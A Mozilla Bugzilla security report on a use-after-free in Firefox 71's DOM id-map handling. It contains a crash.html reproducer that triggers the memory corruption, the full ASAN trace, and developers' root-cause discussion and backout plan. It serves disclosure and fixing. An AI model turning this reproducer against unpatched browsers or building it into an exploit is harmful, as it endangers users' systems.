Closed Bug 1578671 Opened 3 years ago Closed 3 years ago

heap-use-after-free in mozilla::IdentifierMapEntry::ClearAndNotify

Categories

(Core :: DOM: Core & HTML, defect, P1)

71 Branch
defect

Tracking

()

RESOLVED FIXED
mozilla71
Tracking Status
firefox-esr60 --- unaffected
firefox-esr68 --- unaffected
firefox69 --- unaffected
firefox70 --- unaffected
firefox71 + fixed

People

(Reporter: nils, Assigned: edgar)

References

(Regression)

Details

(Keywords: csectype-uaf, regression, sec-high, Whiteboard: [post-critsmash-triage])

Attachments

(4 files)

The following testcase crashes the latest ASAN build of Firefox 71.0a1 (SourceStamp=c2a53369645768655be9fea07dff3c3d3e0e5d36). It requires the attached use.svg to be loaded from the same webserver.

crash.html

<script>
function start() {
    o6=document.createElement('canvas').getContext("2d");
    document.documentElement.setAttribute('id','id4');
    o796=document.createElement('iframe');
    o796.src='use.svg';
    o796.addEventListener('load', fun0,false);
    document.body.appendChild(o796);
}
function fun0() {
    o959=o796.contentDocument.getElementById('id8');
    document.documentElement.appendChild(o959);
    o1060=document.createElement('form');
    document.documentElement.appendChild(o1060);
    o6.filter='url(#id4)';
    o1060.name='x';
    document.write('x');
}
</script>
<body onload="start()"></body>

ASAN output

=================================================================
==13410==ERROR: AddressSanitizer: heap-use-after-free on address 0x6160000821c8 at pc 0x7f1bcd4e9a73 bp 0x7ffecc203230 sp 0x7ffecc203228
READ of size 8 at 0x6160000821c8 thread T0 (file:// Content)
    #0 0x7f1bcd4e9a72 in assign_assuming_AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:64:17
    #1 0x7f1bcd4e9a72 in operator= /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:162
    #2 0x7f1bcd4e9a72 in mozilla::IdentifierMapEntry::ClearAndNotify() /builds/worker/workspace/build/src/dom/base/Document.cpp:523
    #3 0x7f1bcd4fdda7 in mozilla::dom::Document::DestroyElementMaps() /builds/worker/workspace/build/src/dom/base/Document.cpp:11005:17
    #4 0x7f1bcd50b8a6 in mozilla::dom::Document::DisconnectNodeTree() /builds/worker/workspace/build/src/dom/base/Document.cpp:2324:3
    #5 0x7f1bcd56321e in mozilla::dom::Document::Open(mozilla::dom::Optional<nsTSubstring<char16_t> > const&, mozilla::dom::Optional<nsTSubstring<char16_t> > const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:8819:5
    #6 0x7f1bcd565d74 in mozilla::dom::Document::WriteCommon(nsTSubstring<char16_t> const&, bool, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:9053:5
    #7 0x7f1bcd564fc0 in mozilla::dom::Document::WriteCommon(mozilla::dom::Sequence<nsTString<char16_t> > const&, bool, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:8979:5
    #8 0x7f1bcf6ac9ba in mozilla::dom::Document_Binding::write(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Document*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:3282:24
    #9 0x7f1bcfe00d2d in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3168:13
    #10 0x7f1bd69de7d7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:13
    #11 0x7f1bd69de7d7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:539
    #12 0x7f1bd69c6a7c in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:598:10
    #13 0x7f1bd69c6a7c in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084
    #14 0x7f1bd69a811f in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:424:10
    #15 0x7f1bd69df2df in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:567:13
    #16 0x7f1bd69e1502 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:610:8
    #17 0x7f1bd754a0f8 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2723:10
    #18 0x7f1bcf66b570 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
    #19 0x7f1bd0597815 in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
    #20 0x7f1bd0597815 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1035
    #21 0x7f1bd0599290 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1233:17
    #22 0x7f1bd057fd0a in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:353:5
    #23 0x7f1bd057fd0a in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349
    #24 0x7f1bd057e522 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16
    #25 0x7f1bd0583eeb in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1047:11
    #26 0x7f1bcd2b7b29 in nsGlobalWindowInner::FireFrameLoadEvent(bool) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp
    #27 0x7f1bcd2b85b0 in nsGlobalWindowInner::PostHandleEvent(mozilla::EventChainPostVisitor&) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:2018:5
    #28 0x7f1bd057e610 in PostHandleEvent /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:443:12
    #29 0x7f1bd057e610 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:554
    #30 0x7f1bd057ef5a in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:631:5
    #31 0x7f1bd0583eeb in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1047:11
    #32 0x7f1bd2f24db4 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1170:7
    #33 0x7f1bd5b6aec1 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6541:20
    #34 0x7f1bd5b6a13e in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6319:7
    #35 0x7f1bd5b6ed7f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #36 0x7f1bcbe6c55c in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1333:3
    #37 0x7f1bcbe6b5fc in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:892:14
    #38 0x7f1bcbe6721b in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:726:9
    #39 0x7f1bcbe6a076 in nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:614:5
    #40 0x7f1bcbe6b1dc in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
    #41 0x7f1bc968dbc0 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:568:22
    #42 0x7f1bcd523408 in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/Document.cpp:10692:18
    #43 0x7f1bcd523408 in mozilla::dom::Document::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/Document.cpp:10624
    #44 0x7f1bcd54edb4 in mozilla::dom::Document::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/Document.cpp:7186:3
    #45 0x7f1bcd634524 in applyImpl<mozilla::dom::Document, void (mozilla::dom::Document::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1124:12
    #46 0x7f1bcd634524 in apply<mozilla::dom::Document, void (mozilla::dom::Document::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1130
    #47 0x7f1bcd634524 in mozilla::detail::RunnableMethodImpl<mozilla::dom::Document*, void (mozilla::dom::Document::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1176
    #48 0x7f1bc93ce1a1 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
    #49 0x7f1bc93ffc06 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14
    #50 0x7f1bc9405b08 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #51 0x7f1bca60a0cf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #52 0x7f1bca506ef2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #53 0x7f1bca506ef2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #54 0x7f1bca506ef2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #55 0x7f1bd2832a49 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #56 0x7f1bd672743f in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:934:20
    #57 0x7f1bca506ef2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #58 0x7f1bca506ef2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #59 0x7f1bca506ef2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #60 0x7f1bd6726ce6 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:769:34
    #61 0x555959393d5a in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #62 0x555959393d5a in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:272
    #63 0x7f1beb0b2b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #64 0x5559592b537c in _start (/home/nils/browser/firefox/firefox/firefox+0x4537c)

0x6160000821c8 is located 584 bytes inside of 608-byte region [0x616000081f80,0x6160000821e0)
freed by thread T0 (file:// Content) here:
    #0 0x555959360a12 in __interceptor_free /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
    #1 0x7f1bc9296421 in PLDHashTable::ChangeTable(int) /builds/worker/workspace/build/src/xpcom/ds/PLDHashTable.cpp:482:3
    #2 0x7f1bc9296d79 in PLDHashTable::Add(void const*, std::nothrow_t const&) /builds/worker/workspace/build/src/xpcom/ds/PLDHashTable.cpp:549:10
    #3 0x7f1bc929786e in PLDHashTable::Add(void const*) /builds/worker/workspace/build/src/xpcom/ds/PLDHashTable.cpp:581:28
    #4 0x7f1bcd5bd1f0 in PutEntry /builds/worker/workspace/build/src/xpcom/ds/nsTHashtable.h:152:43
    #5 0x7f1bcd5bd1f0 in mozilla::dom::DocumentOrShadowRoot::AddIDTargetObserver(nsAtom*, bool (*)(mozilla::dom::Element*, mozilla::dom::Element*, void*), void*, bool) /builds/worker/workspace/build/src/dom/base/DocumentOrShadowRoot.cpp:401
    #6 0x7f1bcd60b59a in mozilla::dom::IDTracker::HaveNewDocumentOrShadowRoot(mozilla::dom::DocumentOrShadowRoot*, bool, nsTString<char16_t> const&) /builds/worker/workspace/build/src/dom/base/IDTracker.cpp:159:32
    #7 0x7f1bcd60a810 in mozilla::dom::IDTracker::ResetToURIFragmentID(nsIContent*, nsIURI*, nsIReferrerInfo*, bool, bool) /builds/worker/workspace/build/src/dom/base/IDTracker.cpp:137:3
    #8 0x7f1bd1a92002 in mozilla::dom::SVGUseElement::LookupHref() /builds/worker/workspace/build/src/dom/svg/SVGUseElement.cpp:429:29
    #9 0x7f1bd1a90f7a in mozilla::dom::SVGUseElement::UpdateShadowTree() /builds/worker/workspace/build/src/dom/svg/SVGUseElement.cpp:269:3
    #10 0x7f1bcd58e2ef in mozilla::dom::Document::DoUpdateSVGUseElementShadowTrees() /builds/worker/workspace/build/src/dom/base/Document.cpp:12241:19
    #11 0x7f1bd2e3a88a in UpdateSVGUseElementShadowTrees /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Document.h:2371:5
    #12 0x7f1bd2e3a88a in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4082
    #13 0x7f1bcff06ba4 in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/PresShell.h:1437:5
    #14 0x7f1bcff06ba4 in mozilla::dom::CanvasRenderingContext2D::UpdateFilter() /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:2423
    #15 0x7f1bd34d8c21 in mozilla::SVGFilterObserverListForCanvasContext::OnRenderingChange() /builds/worker/workspace/build/src/layout/svg/SVGObserverUtils.cpp:811:20
    #16 0x7f1bcd6151cc in mozilla::dom::IDTracker::ChangeNotification::Run() /builds/worker/workspace/build/src/dom/base/IDTracker.h:140:18
    #17 0x7f1bcd213d45 in AddScriptRunner /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5245:13
    #18 0x7f1bcd213d45 in nsContentUtils::AddScriptRunner(nsIRunnable*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5251
    #19 0x7f1bcd60c4c6 in mozilla::dom::IDTracker::Observe(mozilla::dom::Element*, mozilla::dom::Element*, void*) /builds/worker/workspace/build/src/dom/base/IDTracker.cpp:210:5
    #20 0x7f1bcd4e8e39 in mozilla::IdentifierMapEntry::FireChangeCallbacks(mozilla::dom::Element*, mozilla::dom::Element*, bool) /builds/worker/workspace/build/src/dom/base/Document.cpp:469:10
    #21 0x7f1bcd4e97d3 in mozilla::IdentifierMapEntry::ClearAndNotify() /builds/worker/workspace/build/src/dom/base/Document.cpp:521:5
    #22 0x7f1bcd4fdda7 in mozilla::dom::Document::DestroyElementMaps() /builds/worker/workspace/build/src/dom/base/Document.cpp:11005:17
    #23 0x7f1bcd50b8a6 in mozilla::dom::Document::DisconnectNodeTree() /builds/worker/workspace/build/src/dom/base/Document.cpp:2324:3
    #24 0x7f1bcd56321e in mozilla::dom::Document::Open(mozilla::dom::Optional<nsTSubstring<char16_t> > const&, mozilla::dom::Optional<nsTSubstring<char16_t> > const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:8819:5
    #25 0x7f1bcd565d74 in mozilla::dom::Document::WriteCommon(nsTSubstring<char16_t> const&, bool, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:9053:5
    #26 0x7f1bcd564fc0 in mozilla::dom::Document::WriteCommon(mozilla::dom::Sequence<nsTString<char16_t> > const&, bool, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:8979:5
    #27 0x7f1bcf6ac9ba in mozilla::dom::Document_Binding::write(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Document*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:3282:24
    #28 0x7f1bcfe00d2d in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3168:13
    #29 0x7f1bd69de7d7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:13
    #30 0x7f1bd69de7d7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:539
    #31 0x7f1bd69c6a7c in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:598:10
    #32 0x7f1bd69c6a7c in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084
    #33 0x7f1bd69a811f in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:424:10
    #34 0x7f1bd69df2df in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:567:13
    #35 0x7f1bd69e1502 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:610:8

previously allocated by thread T0 (file:// Content) here:
    #0 0x555959360f8a in __interceptor_calloc /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:155:3
    #1 0x7f1bc9296c90 in PLDHashTable::Add(void const*, std::nothrow_t const&) /builds/worker/workspace/build/src/xpcom/ds/PLDHashTable.cpp:528:28
    #2 0x7f1bc929786e in PLDHashTable::Add(void const*) /builds/worker/workspace/build/src/xpcom/ds/PLDHashTable.cpp:581:28
    #3 0x7f1bcd51d9bd in PutEntry /builds/worker/workspace/build/src/xpcom/ds/nsTHashtable.h:152:43
    #4 0x7f1bcd51d9bd in mozilla::dom::Document::AddToIdTable(mozilla::dom::Element*, nsAtom*) /builds/worker/workspace/build/src/dom/base/Document.cpp:3476
    #5 0x7f1bcd5d265a in PostIdMaybeChange /builds/worker/workspace/build/src/dom/base/Element.cpp:2675:5
    #6 0x7f1bcd5d265a in mozilla::dom::Element::SetAttrAndNotify(int, nsAtom*, nsAtom*, nsAttrValue const*, nsAttrValue&, nsIPrincipal*, unsigned char, bool, bool, bool, mozilla::dom::Document*, mozAutoDocUpdate const&) /builds/worker/workspace/build/src/dom/base/Element.cpp:2465
    #7 0x7f1bcd5ca77a in mozilla::dom::Element::SetAttr(int, nsAtom*, nsAtom*, nsTSubstring<char16_t> const&, nsIPrincipal*, bool) /builds/worker/workspace/build/src/dom/base/Element.cpp:2381:10
    #8 0x7f1bcd5c9f23 in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:839:12
    #9 0x7f1bcd5c9f23 in mozilla::dom::Element::SetAttribute(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, nsIPrincipal*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Element.cpp:1384
    #10 0x7f1bcf77cc40 in mozilla::dom::Element_Binding::setAttribute(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:1490:24
    #11 0x7f1bcfe00d2d in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3168:13
    #12 0x7f1bd69de7d7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:13
    #13 0x7f1bd69de7d7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:539
    #14 0x7f1bd69c6a7c in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:598:10
    #15 0x7f1bd69c6a7c in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084
    #16 0x7f1bd69a811f in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:424:10
    #17 0x7f1bd69df2df in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:567:13
    #18 0x7f1bd69e1502 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:610:8
    #19 0x7f1bd754a0f8 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2723:10
    #20 0x7f1bcf666254 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:267:37
    #21 0x7f1bd05d4b71 in Call<nsCOMPtr<mozilla::dom::EventTarget> > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
    #22 0x7f1bd05d4b71 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205
    #23 0x7f1bd059784c in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1041:22
    #24 0x7f1bd0599290 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1233:17
    #25 0x7f1bd057fd0a in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:353:5
    #26 0x7f1bd057fd0a in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349
    #27 0x7f1bd057e522 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16
    #28 0x7f1bd0583eeb in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1047:11
    #29 0x7f1bd2f24db4 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1170:7
    #30 0x7f1bd5b6aec1 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6541:20
    #31 0x7f1bd5b6a13e in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6319:7
    #32 0x7f1bd5b6ed7f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #33 0x7f1bcbe6c55c in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1333:3
    #34 0x7f1bcbe6b5fc in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:892:14
    #35 0x7f1bcbe6721b in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:726:9
    #36 0x7f1bcbe6a076 in nsDocLoader::OnStopRequest(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:614:5

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:64:17 in assign_assuming_AddRef
Shadow bytes around the buggy address:
  0x0c2c800083e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c800083f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2c80008400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2c80008410: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2c80008420: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c2c80008430: fd fd fd fd fd fd fd fd fd[fd]fd fd fa fa fa fa
  0x0c2c80008440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c80008450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c80008460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c80008470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c80008480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==13410==ABORTING
Attached image use.svg
Attached file ASAN output
Group: core-security → dom-core-security

Hsin-Yi, can you help find someone to take this on? Thanks.

Flags: needinfo?(htsai)
Priority: -- → P1

Hi Edgar, as you touched relevant code recently in bug 1298509, could you please take a look?

Flags: needinfo?(htsai) → needinfo?(echen)
Assignee: nobody → echen
Flags: needinfo?(echen)

Edgar has a temporary solution. He is working on a polishment.

The problem here is that when iterating over id hashtable to notify the id element is changed, it triggers <svg:use> element updating and <svg:use> element tries to register observer again even the url ref isn't changed. Moving id hashtable to a temporary place and iterates over there could avoid this crash. But it is a bit hacky, I really don't like this solution.

The other solution is that we could try to refine the <svg:use> element updating flow, e.g. don't do unnecessary unregister/register if the document or url ref isn't changed. But it seems not suitable for trying to do this in a security bug given that most of the people could not access the security bug and the changes are relatively big.

My suggestion is that backout bug 1298509 and file a separated bug for <svg:use> element. And reland bug 1298509 along with some more tests after <svg:use> element bug is fixed.

Hi :lizzard, could you help to find someone to backout bug 1298509. Thanks.

Flags: needinfo?(lhenry)

(In reply to Edgar Chen [:edgar] from comment #7)

